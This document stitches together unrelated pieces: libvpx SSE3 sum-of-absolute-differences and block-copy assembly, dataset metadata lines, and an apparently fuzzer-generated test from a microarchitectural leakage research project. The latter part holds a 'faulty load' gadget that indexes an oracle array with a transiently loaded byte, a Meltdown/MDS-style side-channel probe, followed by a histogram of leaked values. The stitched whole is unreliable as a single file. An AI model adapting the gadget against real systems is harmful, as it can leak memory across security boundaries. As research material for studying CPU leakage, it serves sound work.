LIBVPX_YASM_WIN64 pop rsi RESTORE_XMM %endif %endif ret %endmacro %macro PROCESS_16X2X3 5 %if %1==0 movdqa xmm0, XMMWORD PTR [%2] lddqu xmm5, XMMWORD PTR [%3] lddqu xmm6, XMMWORD PTR [%3+1] lddqu xmm7, XMMWORD PTR [%3+2] psadbw xmm5, xmm0 psadbw xmm6, xmm0 psadbw xmm7, xmm0 %else movdqa xmm0, XMMWORD PTR [%2] lddqu xmm1, XMMWORD PTR [%3] lddqu xmm2, XMMWORD PTR [%3+1] lddqu xmm3, XMMWORD PTR [%3+2] psadbw xmm1, xmm0 psadbw xmm2, xmm0 psadbw xmm3, xmm0 paddw xmm5, xmm1 paddw xmm6, xmm2 paddw xmm7, xmm3 %endif movdqa xmm0, XMMWORD PTR [%2+%4] lddqu xmm1, XMMWORD PTR [%3+%5] lddqu xmm2, XMMWORD PTR [%3+%5+1] lddqu xmm3, XMMWORD PTR [%3+%5+2] %if %1==0 || %1==1 lea %2, [%2+%4*2] lea %3, [%3+%5*2] %endif psadbw xmm1, xmm0 psadbw xmm2, xmm0 psadbw xmm3, xmm0 paddw xmm5, xmm1 paddw xmm6, xmm2 paddw xmm7, xmm3 %endmacro %macro PROCESS_8X2X3 5 %if %1==0 movq mm0, QWORD PTR [%2] movq mm5, QWORD PTR [%3] movq mm6, QWORD PTR [%3+1] movq mm7, QWORD PTR [%3+2] psadbw mm5, mm0 psadbw mm6, mm0 psadbw mm7, mm0 %else movq mm0, QWORD PTR [%2] movq mm1, QWORD PTR [%3] movq mm2, QWORD PTR [%3+1] movq mm3, QWORD PTR [%3+2] psadbw mm1, mm0 psadbw mm2, mm0 psadbw mm3, mm0 paddw mm5, mm1 paddw mm6, mm2 paddw mm7, mm3 %endif movq mm0, QWORD PTR [%2+%4] movq mm1, QWORD PTR [%3+%5] movq mm2, QWORD PTR [%3+%5+1] movq mm3, QWORD PTR [%3+%5+2] %if %1==0 || %1==1 lea %2, [%2+%4*2] lea %3, [%3+%5*2] %endif psadbw mm1, mm0 psadbw mm2, mm0 psadbw mm3, mm0 paddw mm5, mm1 paddw mm6, mm2 paddw mm7, mm3 %endmacro %macro LOAD_X4_ADDRESSES 5 mov %2, [%1+REG_SZ_BYTES*0] mov %3, [%1+REG_SZ_BYTES*1] mov %4, [%1+REG_SZ_BYTES*2] mov %5, [%1+REG_SZ_BYTES*3] %endmacro %macro PROCESS_16X2X4 8 %if %1==0 movdqa xmm0, XMMWORD PTR [%2] lddqu xmm4, XMMWORD PTR [%3] lddqu xmm5, XMMWORD PTR [%4] lddqu xmm6, XMMWORD PTR [%5] lddqu xmm7, XMMWORD PTR [%6] psadbw xmm4, xmm0 psadbw xmm5, xmm0 psadbw xmm6, xmm0 psadbw xmm7, xmm0 %else movdqa xmm0, XMMWORD PTR [%2] lddqu xmm1, XMMWORD PTR [%3] lddqu xmm2, XMMWORD PTR [%4] lddqu xmm3, XMMWORD PTR [%5] psadbw xmm1, xmm0 psadbw xmm2, xmm0 psadbw xmm3, xmm0 paddw xmm4, xmm1 lddqu xmm1, XMMWORD PTR [%6] paddw xmm5, xmm2 paddw xmm6, xmm3 psadbw xmm1, xmm0 paddw xmm7, xmm1 %endif movdqa xmm0, XMMWORD PTR [%2+%7] lddqu xmm1, XMMWORD PTR [%3+%8] lddqu xmm2, XMMWORD PTR [%4+%8] lddqu xmm3, XMMWORD PTR [%5+%8] psadbw xmm1, xmm0 psadbw xmm2, xmm0 psadbw xmm3, xmm0 paddw xmm4, xmm1 lddqu xmm1, XMMWORD PTR [%6+%8] paddw xmm5, xmm2 paddw xmm6, xmm3 %if %1==0 || %1==1 lea %2, [%2+%7*2] lea %3, [%3+%8*2] lea %4, [%4+%8*2] lea %5, [%5+%8*2] lea %6, [%6+%8*2] %endif psadbw xmm1, xmm0 paddw xmm7, xmm1 %endmacro %macro PROCESS_8X2X4 8 %if %1==0 movq mm0, QWORD PTR [%2] movq mm4, QWORD PTR [%3] movq mm5, QWORD PTR [%4] movq mm6, QWORD PTR [%5] movq mm7, QWORD PTR [%6] psadbw mm4, mm0 psadbw mm5, mm0 psadbw mm6, mm0 psadbw mm7, mm0 %else movq mm0, QWORD PTR [%2] movq mm1, QWORD PTR [%3] movq mm2, QWORD PTR [%4] movq mm3, QWORD PTR [%5] psadbw mm1, mm0 psadbw mm2, mm0 psadbw mm3, mm0 paddw mm4, mm1 movq mm1, QWORD PTR [%6] paddw mm5, mm2 paddw mm6, mm3 psadbw mm1, mm0 paddw mm7, mm1 %endif movq mm0, QWORD PTR [%2+%7] movq mm1, QWORD PTR [%3+%8] movq mm2, QWORD PTR [%4+%8] movq mm3, QWORD PTR [%5+%8] psadbw mm1, mm0 psadbw mm2, mm0 psadbw mm3, mm0 paddw mm4, mm1 movq mm1, QWORD PTR [%6+%8] paddw mm5, mm2 paddw mm6, mm3 %if %1==0 || %1==1 lea %2, [%2+%7*2] lea %3, [%3+%8*2] lea %4, [%4+%8*2] lea %5, [%5+%8*2] lea %6, [%6+%8*2] %endif psadbw mm1, mm0 paddw mm7, mm1 %endmacro ;void int vp8_sad16x16x3_sse3( ; unsigned char *src_ptr, ; int src_stride, ; unsigned char *ref_ptr, ; int ref_stride, ; int *results) global sym(vp8_sad16x16x3_sse3) PRIVATE sym(vp8_sad16x16x3_sse3): STACK_FRAME_CREATE_X3 PROCESS_16X2X3 0, src_ptr, ref_ptr, src_stride, ref_stride PROCESS_16X2X3 1, src_ptr, ref_ptr, src_stride, ref_stride PROCESS_16X2X3 1, src_ptr, ref_ptr, src_stride, ref_stride PROCESS_16X2X3 1, src_ptr, ref_ptr, src_stride, ref_stride PROCESS_16X2X3 1, src_ptr, ref_ptr, src_stride, ref_stride PROCESS_16X2X3 1, src_ptr, ref_ptr, src_stride, ref_stride PROCESS_16X2X3 1, src_ptr, ref_ptr, src_stride, ref_stride PROCESS_16X2X3 2, src_ptr, ref_ptr, src_stride, ref_stride mov rcx, result_ptr movq xmm0, xmm5 psrldq xmm5, 8 paddw xmm0, xmm5 movd [rcx], xmm0 ;- movq xmm0, xmm6 psrldq xmm6, 8 paddw xmm0, xmm6 movd [rcx+4], xmm0 ;- movq xmm0, xmm7 psrldq xmm7, 8 paddw xmm0, xmm7 movd [rcx+8], xmm0 STACK_FRAME_DESTROY_X3 ;void int vp8_sad16x8x3_sse3( ; unsigned char *src_ptr, ; int src_stride, ; unsigned char *ref_ptr, ; int ref_stride, ; int *results) global sym(vp8_sad16x8x3_sse3) PRIVATE sym(vp8_sad16x8x3_sse3): STACK_FRAME_CREATE_X3 PROCESS_16X2X3 0, src_ptr, ref_ptr, src_stride, ref_stride PROCESS_16X2X3 1, src_ptr, ref_ptr, src_stride, ref_stride PROCESS_16X2X3 1, src_ptr, ref_ptr, src_stride, ref_stride PROCESS_16X2X3 2, src_ptr, ref_ptr, src_stride, ref_stride mov rcx, result_ptr movq xmm0, xmm5 psrldq xmm5, 8 paddw xmm0, xmm5 movd [rcx], xmm0 ;- movq xmm0, xmm6 psrldq xmm6, 8 paddw xmm0, xmm6 movd [rcx+4], xmm0 ;- movq xmm0, xmm7 psrldq xmm7, 8 paddw xmm0, xmm7 movd [rcx+8], xmm0 STACK_FRAME_DESTROY_X3 ;void int vp8_sad8x16x3_sse3( ; unsigned char *src_ptr, ; int src_stride, ; unsigned char *ref_ptr, ; int ref_stride, ; int *results) global sym(vp8_sad8x16x3_sse3) PRIVATE sym(vp8_sad8x16x3_sse3): STACK_FRAME_CREATE_X3 PROCESS_8X2X3 0, src_ptr, ref_ptr, src_stride, ref_stride PROCESS_8X2X3 1, src_ptr, ref_ptr, src_stride, ref_stride PROCESS_8X2X3 1, src_ptr, ref_ptr, src_stride, ref_stride PROCESS_8X2X3 1, src_ptr, ref_ptr, src_stride, ref_stride PROCESS_8X2X3 1, src_ptr, ref_ptr, src_stride, ref_stride PROCESS_8X2X3 1, src_ptr, ref_ptr, src_stride, ref_stride PROCESS_8X2X3 1, src_ptr, ref_ptr, src_stride, ref_stride PROCESS_8X2X3 2, src_ptr, ref_ptr, src_stride, ref_stride mov rcx, result_ptr punpckldq mm5, mm6 movq [rcx], mm5 movd [rcx+8], mm7 STACK_FRAME_DESTROY_X3 ;void int vp8_sad8x8x3_sse3( ; unsigned char *src_ptr, ; int src_stride, ; unsigned char *ref_ptr, ; int ref_stride, ; int *results) global sym(vp8_sad8x8x3_sse3) PRIVATE sym(vp8_sad8x8x3_sse3): STACK_FRAME_CREATE_X3 PROCESS_8X2X3 0, src_ptr, ref_ptr, src_stride, ref_stride PROCESS_8X2X3 1, src_ptr, ref_ptr, src_stride, ref_stride PROCESS_8X2X3 1, src_ptr, ref_ptr, src_stride, ref_stride PROCESS_8X2X3 2, src_ptr, ref_ptr, src_stride, ref_stride mov rcx, result_ptr punpckldq mm5, mm6 movq [rcx], mm5 movd [rcx+8], mm7 STACK_FRAME_DESTROY_X3 ;void int vp8_sad4x4x3_sse3( ; unsigned char *src_ptr, ; int src_stride, ; unsigned char *ref_ptr, ; int ref_stride, ; int *results) global sym(vp8_sad4x4x3_sse3) PRIVATE sym(vp8_sad4x4x3_sse3): STACK_FRAME_CREATE_X3 movd mm0, DWORD PTR [src_ptr] movd mm1, DWORD PTR [ref_ptr] movd mm2, DWORD PTR [src_ptr+src_stride] movd mm3, DWORD PTR [ref_ptr+ref_stride] punpcklbw mm0, mm2 punpcklbw mm1, mm3 movd mm4, DWORD PTR [ref_ptr+1] movd mm5, DWORD PTR [ref_ptr+2] movd mm2, DWORD PTR [ref_ptr+ref_stride+1] movd mm3, DWORD PTR [ref_ptr+ref_stride+2] psadbw mm1, mm0 punpcklbw mm4, mm2 punpcklbw mm5, mm3 psadbw mm4, mm0 psadbw mm5, mm0 lea src_ptr, [src_ptr+src_stride*2] lea ref_ptr, [ref_ptr+ref_stride*2] movd mm0, DWORD PTR [src_ptr] movd mm2, DWORD PTR [ref_ptr] movd mm3, DWORD PTR [src_ptr+src_stride] movd mm6, DWORD PTR [ref_ptr+ref_stride] punpcklbw mm0, mm3 punpcklbw mm2, mm6 movd mm3, DWORD PTR [ref_ptr+1] movd mm7, DWORD PTR [ref_ptr+2] psadbw mm2, mm0 paddw mm1, mm2 movd mm2, DWORD PTR [ref_ptr+ref_stride+1] movd mm6, DWORD PTR [ref_ptr+ref_stride+2] punpcklbw mm3, mm2 punpcklbw mm7, mm6 psadbw mm3, mm0 psadbw mm7, mm0 paddw mm3, mm4 paddw mm7, mm5 mov rcx, result_ptr punpckldq mm1, mm3 movq [rcx], mm1 movd [rcx+8], mm7 STACK_FRAME_DESTROY_X3 ;unsigned int vp8_sad16x16_sse3( ; unsigned char *src_ptr, ; int src_stride, ; unsigned char *ref_ptr, ; int ref_stride, ; int max_sad) ;%define lddqu movdqu global sym(vp8_sad16x16_sse3) PRIVATE sym(vp8_sad16x16_sse3): STACK_FRAME_CREATE_X3 mov end_ptr, 4 pxor xmm7, xmm7 .vp8_sad16x16_sse3_loop: movdqa xmm0, XMMWORD PTR [src_ptr] movdqu xmm1, XMMWORD PTR [ref_ptr] movdqa xmm2, XMMWORD PTR [src_ptr+src_stride] movdqu xmm3, XMMWORD PTR [ref_ptr+ref_stride] lea src_ptr, [src_ptr+src_stride*2] lea ref_ptr, [ref_ptr+ref_stride*2] movdqa xmm4, XMMWORD PTR [src_ptr] movdqu xmm5, XMMWORD PTR [ref_ptr] movdqa xmm6, XMMWORD PTR [src_ptr+src_stride] psadbw xmm0, xmm1 movdqu xmm1, XMMWORD PTR [ref_ptr+ref_stride] psadbw xmm2, xmm3 psadbw xmm4, xmm5 psadbw xmm6, xmm1 lea src_ptr, [src_ptr+src_stride*2] lea ref_ptr, [ref_ptr+ref_stride*2] paddw xmm7, xmm0 paddw xmm7, xmm2 paddw xmm7, xmm4 paddw xmm7, xmm6 sub end_ptr, 1 jne .vp8_sad16x16_sse3_loop movq xmm0, xmm7 psrldq xmm7, 8 paddw xmm0, xmm7 movq rax, xmm0 STACK_FRAME_DESTROY_X3 ;void vp8_copy32xn_sse3( ; unsigned char *src_ptr, ; int src_stride, ; unsigned char *dst_ptr, ; int dst_stride, ; int height); global sym(vp8_copy32xn_sse3) PRIVATE sym(vp8_copy32xn_sse3): STACK_FRAME_CREATE_X3 .block_copy_sse3_loopx4: lea end_ptr, [src_ptr+src_stride*2] movdqu xmm0, XMMWORD PTR [src_ptr] movdqu xmm1, XMMWORD PTR [src_ptr + 16] movdqu xmm2, XMMWORD PTR [src_ptr + src_stride] movdqu xmm3, XMMWORD PTR [src_ptr + src_stride + 16] movdqu xmm4, XMMWORD PTR [end_ptr] movdqu xmm5, XMMWORD PTR [end_ptr + 16] movdqu xmm6, XMMWORD PTR [end_ptr + src_stride] movdqu xmm7, XMMWORD PTR [end_ptr + src_stride + 16] lea src_ptr, [src_ptr+src_stride*4] lea end_ptr, [ref_ptr+ref_stride*2] movdqa XMMWORD PTR [ref_ptr], xmm0 movdqa XMMWORD PTR [ref_ptr + 16], xmm1 movdqa XMMWORD PTR [ref_ptr + ref_stride], xmm2 movdqa XMMWORD PTR [ref_ptr + ref_stride + 16], xmm3 movdqa XMMWORD PTR [end_ptr], xmm4 movdqa XMMWORD PTR [end_ptr + 16], xmm5 movdqa XMMWORD PTR [end_ptr + ref_stride], xmm6 movdqa XMMWORD PTR [end_ptr + ref_stride + 16], xmm7 lea ref_ptr, [ref_ptr+ref_stride*4] sub height, 4 cmp height, 4 jge .block_copy_sse3_loopx4 ;Check to see if there is more rows need to be copied. cmp height, 0 je .copy_is_done .block_copy_sse3_loop: movdqu xmm0, XMMWORD PTR [src_ptr] movdqu xmm1, XMMWORD PTR [src_ptr + 16] lea src_ptr, [src_ptr+src_stride] movdqa XMMWORD PTR [ref_ptr], xmm0 movdqa XMMWORD PTR [ref_ptr + 16], xmm1 lea ref_ptr, [ref_ptr+ref_stride] sub height, 1 jne .block_copy_sse3_loop .copy_is_done: STACK_FRAME_DESTROY_X3 ;void vp8_sad16x16x4d_sse3( ; unsigned char *src_ptr, ; int src_stride, ; unsigned char *ref_ptr_base, ; int ref_stride, ; int *results) global sym(vp8_sad16x16x4d_sse3) PRIVATE sym(vp8_sad16x16x4d_sse3): STACK_FRAME_CREATE_X4 PROCESS_16X2X4 0, src_ptr, r0_ptr, r1_ptr, r2_ptr, r3_ptr, src_stride, ref_stride PROCESS_16X2X4 1, src_ptr, r0_ptr, r1_ptr, r2_ptr, r3_ptr, src_stride, ref_stride PROCESS_16X2X4 1, src_ptr, r0_ptr, r1_ptr, r2_ptr, r3_ptr, src_stride, ref_stride PROCESS_16X2X4 1, src_ptr, r0_ptr, r1_ptr, r2_ptr, r3_ptr, src_stride, ref_stride PROCESS_16X2X4 1, src_ptr, r0_ptr, r1_ptr, r2_ptr, r3_ptr, src_stride, ref_stride PROCESS_16X2X4 1, src_ptr, r0_ptr, r1_ptr, r2_ptr, r3_ptr, src_stride, ref_stride PROCESS_16X2X4 1, src_ptr, r0_ptr, r1_ptr, r2_ptr, r3_ptr, src_stride, ref_stride PROCESS_16X2X4 2, src_ptr, r0_ptr, r1_ptr, r2_ptr, r3_ptr, src_stride, ref_stride %if ABI_IS_32BIT pop rbp %endif mov rcx, result_ptr movq xmm0, xmm4 psrldq xmm4, 8 paddw xmm0, xmm4 movd [rcx], xmm0 ;- movq xmm0, xmm5 psrldq xmm5, 8 paddw xmm0, xmm5 movd [rcx+4], xmm0 ;- movq xmm0, xmm6 psrldq xmm6, 8 paddw xmm0, xmm6 movd [rcx+8], xmm0 ;- movq xmm0, xmm7 psrldq xmm7, 8 paddw xmm0, xmm7 movd [rcx+12], xmm0 STACK_FRAME_DESTROY_X4 ;void vp8_sad16x8x4d_sse3( ; unsigned char *src_ptr, ; int src_stride, ; unsigned char *ref_ptr_base, ; int ref_stride, ; int *results) global sym(vp8_sad16x8x4d_sse3) PRIVATE sym(vp8_sad16x8x4d_sse3): STACK_FRAME_CREATE_X4 PROCESS_16X2X4 0, src_ptr, r0_ptr, r1_ptr, r2_ptr, r3_ptr, src_stride, ref_stride PROCESS_16X2X4 1, src_ptr, r0_ptr, r1_ptr, r2_ptr, r3_ptr, src_stride, ref_stride PROCESS_16X2X4 1, src_ptr, r0_ptr, r1_ptr, r2_ptr, r3_ptr, src_stride, ref_stride PROCESS_16X2X4 2, src_ptr, r0_ptr, r1_ptr, r2_ptr, r3_ptr, src_stride, ref_stride %if ABI_IS_32BIT pop rbp %endif mov rcx, result_ptr movq xmm0, xmm4 psrldq xmm4, 8 paddw xmm0, xmm4 movd [rcx], xmm0 ;- movq xmm0, xmm5 psrldq xmm5, 8 paddw xmm0, xmm5 movd [rcx+4], xmm0 ;- movq xmm0, xmm6 psrldq xmm6, 8 paddw xmm0, xmm6 movd [rcx+8], xmm0 ;- movq xmm0, xmm7 psrldq xmm7, 8 paddw xmm0, xmm7 movd [rcx+12], xmm0 STACK_FRAME_DESTROY_X4 ;void int vp8_sad8x16x4d_sse3( ; unsigned char *src_ptr, ; int src_stride, ; unsigned char *ref_ptr, ; int ref_stride, ; int *results) global sym(vp8_sad8x16x4d_sse3) PRIVATE sym(vp8_sad8x16x4d_sse3): STACK_FRAME_CREATE_X4 PROCESS_8X2X4 0, src_ptr, r0_ptr, r1_ptr, r2_ptr, r3_ptr, src_stride, ref_stride PROCESS_8X2X4 1, src_ptr, r0_ptr, r1_ptr, r2_ptr, r3_ptr, src_stride, ref_stride PROCESS_8X2X4 1, src_ptr, r0_ptr, r1_ptr, r2_ptr, r3_ptr, src_stride, ref_stride PROCESS_8X2X4 1, src_ptr, r0_ptr, r1_ptr, r2_ptr, r3_ptr, src_stride, ref_stride PROCESS_8X2X4 1, src_ptr, r0_ptr, r1_ptr, r2_ptr, r3_ptr, src_stride, ref_stride PROCESS_8X2X4 1, src_ptr, r0_ptr, r1_ptr, r2_ptr, r3_ptr, src_stride, ref_stride PROCESS_8X2X4 1, src_ptr, r0_ptr, r1_ptr, r2_ptr, r3_ptr, src_stride, ref_stride PROCESS_8X2X4 2, src_ptr, r0_ptr, r1_ptr, r2_ptr, r3_ptr, src_stride, ref_stride %if ABI_IS_32BIT pop rbp %endif mov rcx, result_ptr punpckldq mm4, mm5 punpckldq mm6, mm7 movq [rcx], mm4 movq [rcx+8], mm6 STACK_FRAME_DESTROY_X4 ;void int vp8_sad8x8x4d_sse3( ; unsigned char *src_ptr, ; int src_stride, ; unsigned char *ref_ptr, ; int ref_stride, ; int *results) global sym(vp8_sad8x8x4d_sse3) PRIVATE sym(vp8_sad8x8x4d_sse3): STACK_FRAME_CREATE_X4 PROCESS_8X2X4 0, src_ptr, r0_ptr, r1_ptr, r2_ptr, r3_ptr, src_stride, ref_stride PROCESS_8X2X4 1, src_ptr, r0_ptr, r1_ptr, r2_ptr, r3_ptr, src_stride, ref_stride PROCESS_8X2X4 1, src_ptr, r0_ptr, r1_ptr, r2_ptr, r3_ptr, src_stride, ref_stride PROCESS_8X2X4 2, src_ptr, r0_ptr, r1_ptr, r2_ptr, r3_ptr, src_stride, ref_stride %if ABI_IS_32BIT pop rbp %endif mov rcx, result_ptr punpckldq mm4, mm5 punpckldq mm6, mm7 movq [rcx], mm4 movq [rcx+8], mm6 STACK_FRAME_DESTROY_X4 ;void int vp8_sad4x4x4d_sse3( ; unsigned char *src_ptr, ; int src_stride, ; unsigned char *ref_ptr, ; int ref_stride, ; int *results) global sym(vp8_sad4x4x4d_sse3) PRIVATE sym(vp8_sad4x4x4d_sse3): STACK_FRAME_CREATE_X4 movd mm0, DWORD PTR [src_ptr] movd mm1, DWORD PTR [r0_ptr] movd mm2, DWORD PTR [src_ptr+src_stride] movd mm3, DWORD PTR [r0_ptr+ref_stride] punpcklbw mm0, mm2 punpcklbw mm1, mm3 movd mm4, DWORD PTR [r1_ptr] movd mm5, DWORD PTR [r2_ptr] movd mm6, DWORD PTR [r3_ptr] movd mm2, DWORD PTR [r1_ptr+ref_stride] movd mm3, DWORD PTR [r2_ptr+ref_stride] movd mm7, DWORD PTR [r3_ptr+ref_stride] psadbw mm1, mm0 punpcklbw mm4, mm2 punpcklbw mm5, mm3 punpcklbw mm6, mm7 psadbw mm4, mm0 psadbw mm5, mm0 psadbw mm6, mm0 lea src_ptr, [src_ptr+src_stride*2] lea r0_ptr, [r0_ptr+ref_stride*2] lea r1_ptr, [r1_ptr+ref_stride*2] lea r2_ptr, [r2_ptr+ref_stride*2] lea r3_ptr, [r3_ptr+ref_stride*2] movd mm0, DWORD PTR [src_ptr] movd mm2, DWORD PTR [r0_ptr] movd mm3, DWORD PTR [src_ptr+src_stride] movd mm7, DWORD PTR [r0_ptr+ref_stride] punpcklbw mm0, mm3 punpcklbw mm2, mm7 movd mm3, DWORD PTR [r1_ptr] movd mm7, DWORD PTR [r2_ptr] psadbw mm2, mm0 %if ABI_IS_32BIT mov rax, rbp pop rbp %define ref_stride rax %endif mov rsi, result_ptr paddw mm1, mm2 movd [rsi], mm1 movd mm2, DWORD PTR [r1_ptr+ref_stride] movd mm1, DWORD PTR [r2_ptr+ref_stride] punpcklbw mm3, mm2 punpcklbw mm7, mm1 psadbw mm3, mm0 psadbw mm7, mm0 movd mm2, DWORD PTR [r3_ptr] movd mm1, DWORD PTR [r3_ptr+ref_stride] paddw mm3, mm4 paddw mm7, mm5 movd [rsi+4], mm3 punpcklbw mm2, mm1 movd [rsi+8], mm7 psadbw mm2, mm0 paddw mm2, mm6 movd [rsi+12], mm2 STACK_FRAME_DESTROY_X4
31.108221
89
0.478107
947ca24e573f74040feb45822cd868d8c702c206
7,531
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_ht_zr_/i7-7700_9_0xca.log_21829_1807.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_ht_zr_/i7-7700_9_0xca.log_21829_1807.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_ht_zr_/i7-7700_9_0xca.log_21829_1807.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r14 push %r8 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_normal_ht+0x1ad9b, %rbp nop nop nop dec %r14 movl $0x61626364, (%rbp) nop nop cmp $65224, %r11 lea addresses_normal_ht+0x5d2e, %rsi lea addresses_WC_ht+0x9b9b, %rdi nop nop nop inc %r8 mov $109, %rcx rep movsl nop add %rax, %rax lea addresses_D_ht+0x1c79b, %rsi lea addresses_WC_ht+0x1be53, %rdi nop nop nop cmp $6295, %r8 mov $106, %rcx rep movsq nop nop nop cmp $3597, %rbp lea addresses_UC_ht+0x8b9b, %rsi lea addresses_WC_ht+0x1b79b, %rdi nop nop add %rax, %rax mov $37, %rcx rep movsq nop nop nop nop nop cmp %r8, %r8 lea addresses_A_ht+0x1239b, %rsi lea addresses_normal_ht+0xb94b, %rdi dec %r8 mov $33, %rcx rep movsq add %rbp, %rbp lea addresses_A_ht+0x6d9b, %rsi lea addresses_WT_ht+0x19e9b, %rdi nop cmp %r11, %r11 mov $80, %rcx rep movsq nop nop nop inc %rdi lea addresses_D_ht+0xe56b, %rsi lea addresses_A_ht+0xcf9b, %rdi nop nop and %rax, %rax mov $83, %rcx rep movsw nop nop cmp $58639, %rsi lea addresses_UC_ht+0xd19b, %r11 nop nop nop nop xor %r14, %r14 movups (%r11), %xmm5 vpextrq $0, %xmm5, %rcx nop nop inc %rbp lea addresses_WC_ht+0x19a29, %rax nop nop nop nop nop cmp $52368, %rdi vmovups (%rax), %ymm6 vextracti128 $1, %ymm6, %xmm6 vpextrq $1, %xmm6, %rcx nop nop nop nop nop add %rdi, %rdi lea addresses_WT_ht+0xe86b, %rsi lea addresses_normal_ht+0xa19b, %rdi clflush (%rdi) nop nop nop nop add %rax, %rax mov $73, %rcx rep movsb nop nop nop nop nop cmp $23971, %rcx lea addresses_WC_ht+0x1f9b, %rax nop nop nop nop nop sub %rbp, %rbp movb $0x61, (%rax) nop nop nop nop lfence lea addresses_WC_ht+0x152e3, %r11 nop nop nop nop nop inc %r8 mov $0x6162636465666768, %r14 movq %r14, %xmm1 vmovups %ymm1, (%r11) nop cmp $33509, %r8 lea addresses_A_ht+0x709b, %r14 nop nop nop nop nop and $5609, %rsi movw $0x6162, (%r14) nop nop nop nop add $34920, %r8 pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r8 pop %r14 pop %r11 ret .global s_faulty_load s_faulty_load: push %r15 push %r8 push %rax push %rbx push %rdi push %rdx // Faulty Load lea addresses_UC+0x1cb9b, %r8 nop nop nop xor $20539, %rax movntdqa (%r8), %xmm5 vpextrq $1, %xmm5, %rdi lea oracles, %r15 and $0xff, %rdi shlq $12, %rdi mov (%r15,%rdi,1), %rdi pop %rdx pop %rdi pop %rbx pop %rax pop %r8 pop %r15 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_UC'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 16, 'NT': True, 'type': 'addresses_UC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': True, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_normal_ht'}} {'src': {'congruent': 0, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_WC_ht'}} {'src': {'congruent': 9, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_WC_ht'}} {'src': {'congruent': 11, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_WC_ht'}} {'src': {'congruent': 11, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}} {'src': {'congruent': 8, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 4, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': True, 'type': 'addresses_A_ht'}} {'src': {'congruent': 8, 'AVXalign': False, 'same': True, 'size': 16, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 4, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_normal_ht'}} {'OP': 'STOR', 'dst': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_A_ht'}} {'46': 1049, '44': 2, '48': 2, '47': 113, '45': 16955, '00': 3615, '49': 93} 00 00 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 45 46 47 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 49 00 00 00 00 00 45 00 00 45 00 45 00 00 45 45 45 45 45 45 45 45 45 45 45 45 45 45 00 00 45 45 45 00 45 45 00 00 45 45 45 45 45 45 45 45 45 45 45 45 45 00 45 00 00 00 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 00 45 00 45 45 00 45 45 00 00 45 45 45 45 45 45 45 45 45 00 00 45 45 45 45 45 45 45 00 45 45 45 45 45 45 00 45 45 45 00 45 45 45 45 00 45 45 45 00 45 00 45 00 00 00 45 45 45 45 45 00 45 45 45 45 45 45 00 00 45 45 45 45 45 45 45 00 45 45 00 45 45 45 00 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 00 45 00 45 00 00 45 00 45 45 00 45 45 45 45 00 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 00 45 45 00 45 45 00 45 45 00 45 45 45 45 45 00 00 45 00 45 45 45 00 45 00 00 00 45 45 00 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 45 46 45 45 45 45 45 45 46 45 45 45 45 46 46 45 45 45 45 46 45 45 45 45 45 45 45 45 45 45 46 45 45 45 46 49 00 46 00 00 45 45 45 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 00 00 45 45 45 45 45 00 45 45 